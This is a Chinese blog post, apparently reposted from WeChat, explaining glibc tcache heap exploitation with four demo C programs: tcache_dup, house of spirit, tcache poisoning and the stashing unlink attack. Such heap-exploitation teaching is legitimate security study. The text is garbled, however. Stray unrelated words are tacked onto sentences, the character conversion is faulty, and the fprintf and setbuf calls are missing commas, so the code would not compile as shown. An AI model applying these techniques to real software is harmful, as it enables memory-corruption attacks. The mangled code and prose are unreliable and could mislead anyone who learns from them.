PWN:Tcache Attack原理


ubuntu 18.04 下測試web


tcache介紹


源碼看不動,說一下經過實驗獲得的:ubuntu

同一大小的 chunk free 以後前 7 個會放到一個 tcache 鏈表裏面,不一樣大小的放在不一樣的鏈表中數組



最大能放 0x408 的,再大就要按照本來的那樣放到 unsortedbin 中了微信



程序再次申請內存塊的時候首先判斷在 tchche 中是否存在,若是存在的話會先從 tcache 中拿編輯器


tcache_dup


#include <stdio.h>
#include <stdlib.h>

int main()
{
 fprintf(stderr"先申請一塊內存\n");
 int *a = malloc(8);

 fprintf(stderr"申請的內存地址是: %p\n", a);
 fprintf(stderr"對這塊內存地址 free兩次\n");
 free(a);
 free(a);

 fprintf(stderr"這時候鏈表是這樣的 [ %p, %p ].\n", a, a);
 fprintf(stderr"接下來再去 malloc 兩次: [ %p, %p ].\n"malloc(8), malloc(8));
    fprintf(stderr"ojbk\n");
 return 0;
}


 
  

gcc -g tcache_dup.c測試

運行以後的結果:url



一開始申請了 0x8 大小的 chunk,後來 free了兩次spa



而後再去申請的話也會申請這倆在 tcache 中的,因此後面輸出的 malloc 的地址仍是同樣的.net


tcache_house_of_spirit


#include <stdio.h>
#include <stdlib.h>

int main()
{
    malloc(1);
    unsigned long long *a;
    unsigned long long fake_chunks[10];
    fprintf(stderr"fake_chunks[1] 在 %p\n", &fake_chunks[1]);
    fprintf(stderr"fake_chunks[1] 改爲 0x40 \n");
    fake_chunks[1] = 0x40;
    fprintf(stderr"把 fake_chunks[2] 的地址賦給 a, %p.\n", &fake_chunks[2]);
    a = &fake_chunks[2];
    fprintf(stderr"free 掉 a\n");
    free(a);
    fprintf(stderr"再去 malloc(0x30),在能夠看到申請來的結果在: %p\n"malloc(0x30));
    fprintf(stderr"ojbk\n");
}



而後把數組的 index2 的地址賦給了 a,以後去 free a,再去申請回來的話就會把 a 申請回來,這樣就申請了 fake chunks[2] 那裏3d



tcache_poisoning


#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

int main()
{
    setbuf(stdinNULL);
    setbuf(stdoutNULL);
    size_t stack_var;
    printf("定義了一個變量 stack_var,咱們想讓程序 malloc 到這裏 %p.\n", (char *)&stack_var);

    printf("接下來申請兩個 chunk\n");
    intptr_t *a = malloc(128);
    printf("chunk a 在: %p\n", a);
    intptr_t *b = malloc(128);
    printf("chunk b 在: %p\n", b);

    printf("free 掉這兩個 chunk\n");
    free(a);
    free(b);

    printf("如今 tcache 那個鏈表是這樣的 [ %p -> %p ].\n", b, a);
    printf("咱們把 %p 的前 %lu 字節(也就是 fd/next 指針)改爲 stack_var 的地址:%p", b, sizeof(intptr_t), &stack_var);
    b[0] = (intptr_t)&stack_var;
    printf("如今 tcache 鏈表是這樣的 [ %p -> %p ].\n", b, &stack_var);

    printf("而後一次 malloc : %p\n"malloc(128));
    printf("如今 tcache 鏈表是這樣的 [ %p ].\n", &stack_var);

    intptr_t *c = malloc(128);
    printf("第二次 malloc: %p\n", c);
    printf("ojbk\n");

    return 0;
}


把 b 的 fd 指針改爲那個變量地址



這時候 tcache 的鏈表是這樣的



而後連續申請兩個 chunk,來看一下申請到的地址是啥樣的



tcache_stashing_unlink_attack


#include <stdio.h>
#include <stdlib.h>

int main(){
    unsigned long stack_var[0x10] = {0};
    unsigned long *chunk_lis[0x10] = {0};
    unsigned long *target;
    unsigned long *pp;

    fprintf(stderr"stack_var 是咱們但願分配到的地址,咱們首先把 &stack_var[2] 寫到 stack_var[3] 來繞過 glibc 的 bck->fd=bin(即 fake chunk->bk 應該是一個可寫的地址)\n");
    stack_var[3] = (unsigned long)(&stack_var[2]);
    fprintf(stderr"修改以後 fake_chunk->bk 是:%p\n",(void*)stack_var[3]);
    fprintf(stderr"stack_var[4] 的初始值是:%p\n",(void*)stack_var[4]);
    fprintf(stderr"如今申請 9 個 0x90 的 chunk\n");

    for(int i = 0;i < 9;i++){
        chunk_lis[i] = (unsigned long*)malloc(0x90);
    }
    fprintf(stderr"先釋放 6 個,這 6 個都會放到 tcache 裏面\n");

    for(int i = 3;i < 9;i++){
        free(chunk_lis[i]);
    }
    fprintf(stderr"接下來的釋放的三個裏面第一個是最後一個放到 tcache 裏面的,後面的都會放到 unsortedbin 中\n");
    
    free(chunk_lis[1]);
    //接下來的就是放到 unsortedbin 了
    free(chunk_lis[0]);
    free(chunk_lis[2]);
    fprintf(stderr"接下來申請一個大於 0x90 的 chunk,chunk0 和 chunk2 都會被整理到 smallbin 中\n");
    malloc(0xa0);//>0x90
    
    fprintf(stderr"而後再去從 tcache 中申請兩個 0x90 大小的 chunk\n");
    malloc(0x90);
    malloc(0x90);

    fprintf(stderr"假設有個漏洞,能夠把 victim->bk 的指針改寫成 fake_chunk 的地址: %p\n",(void*)stack_var);
    chunk_lis[2][1] = (unsigned long)stack_var;
    fprintf(stderr"如今 calloc 申請一個 0x90 大小的 chunk,他會把一個 smallbin 裏的 chunk0 返回給咱們,另外一個 smallbin 的 chunk2 將會與 tcache 相連.\n");
    pp = calloc(1,0x90);
    
    fprintf(stderr"這時候咱們的 fake_chunk 已經放到了 tcache bin[0xa0] 這個鏈表中,它的 fd 指針如今指向下一個空閒的塊: %p, bck->fd 已經變成了 libc 的地址: %p\n",(void*)stack_var[2],(void*)stack_var[4]);
    target = malloc(0x90);  
    fprintf(stderr"再次 malloc 0x90 能夠看到申請到了 fake_chunk: %p\n",(void*)target); 
    fprintf(stderr"ojbk\n");
    return 0;
}


是 chunk0,0x555555757390 是 chunk2



這時候去申請一個 0xa0 大小的 chunk,那倆在 unsorted bin 中的 chunk 整理放在了 small bin 中



再去申請兩個 0x90 大小的會從 tcache bin 中分配,這時候 tcache 還剩 5 個



而後把 chunk2 的 bk 改爲 &stack_var,在一開始是這樣的



改後:



另外此時的 bins



使用 calloc 去申請 0x90 大小的 chunk 會把 0x555555757250 申請出去,這時候若是 tcachebin 還有空閒的位置,剩下的 smallbin 從最後一個 0x7fffffffddc0 開始順着 bk 連接到 tcachebin 中

參考:

https://dayjun.top/2020/02/07/smallbin在unlink的時候存在的漏洞/



tcache 是後進先出的,因此這時候再去申請就拿到了 0x7fffffffddc0 這個地址的 chunk


本文分享自微信公衆號 - 陳冠男的遊戲人生(CGN-115)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

相關文章
相關標籤/搜索